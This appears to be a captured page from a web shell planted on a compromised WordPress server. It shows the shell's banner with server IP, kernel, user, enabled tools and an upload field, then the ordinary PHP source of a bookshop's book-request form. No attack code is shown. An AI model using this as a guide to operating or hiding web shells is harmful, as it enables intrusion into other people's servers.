Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_books/_oldsite/ |
Upload File : |
<?php
require './inc/include.php';
include "$BASE/inc/inc.smtp.php";
include "$BASE/inc/inc.titlelist.php";
$DATABASE->Open();
$FIELDDEFS1 = array( // title list
'id' => array('opt' => INP_BOOKLIST | OPT_OPTION, 'lbl' => '&Select a Title', 'ht' => 1, 'wd' => 480),
'title' => array('opt' => INP_STRING, 'lbl' => '&Title (if not in the above list)', 'sz' => 255, 'wd' => 60),
'author' => array('opt' => INP_STRING, 'lbl' => '&Author (if known)', 'sz' => 255, 'wd' => 60),
'yourname' => array('opt' => INP_STRING | INP_REQUIRED, 'lbl' => '&Your Name', 'sz' => 255, 'wd' => 60),
'purchase' => array('opt' => INP_CHECKBOX, 'lbl' => '&I intend to purchase this book'),
'direct' => array('opt' => INP_CHECKBOX, 'lbl' => 'Please &ship it directly to me'),
);
$errcount = ifp_PrepareData($DATA, '', '', $FIELDDEFS1);
if ($isPost) Post1_SendEmail();
$text = ifp_GeneratePage($FIELDDEFS1);
$DATABASE->Close();
echo page_header('Request');
echo <<<BLOCK
<h2>Request Book</h2>
<p>This page will be used if you wish to reserve a book that is currently out on loan or to purchase a book. Whether it is in stock, or not, we will do our best to locate a copy.</p>
<form method="post" action="http://$BASE_URL"><table border="0">
$text
<tr><td align="right"><input type="submit" value=" send request "></td></tr>
</table></form>
<p>If you are intending to purchase the book, we will confirm pricing with you first.</p>
<p>Delivery times are normally two to three weeks.</p>
<br><br><br><br><br><br><br><br>
BLOCK;
echo page_footer();
function Post1_SendEmail() {
global $HOST, $VARIABLE, $DATABASE;
$title = $VARIABLE['id'];
if ($title != '') {
$ITEM = ip_LookupTitle($title);
$title = $ITEM['*'];
}
$purchase = $VARIABLE['purchase'] == '0' ? 'No' : 'Yes';
$direct = $VARIABLE['direct'] == '0' ? 'No' : 'Yes';
$body = <<<BLOCK
Name: {$VARIABLE['yourname']}
Title: $title
Title2: {$VARIABLE['title']}
Author: {$VARIABLE['author']}
Purchase? $purchase
Ship Direct? $direct
BLOCK;
$email = array('subject' => 'books website: request',
'from' => ADMIN_EMAIL,
'to' => 'Books <' . ADMIN_EMAIL . '>',
'body' => $body);
$error = isp_SendEmail($email);
if ($error == '') {
header("Location: http://$HOST/contact.php?fn=12");
exit;
}
$VARIABLE['name.ERR'] = $error;
}
?>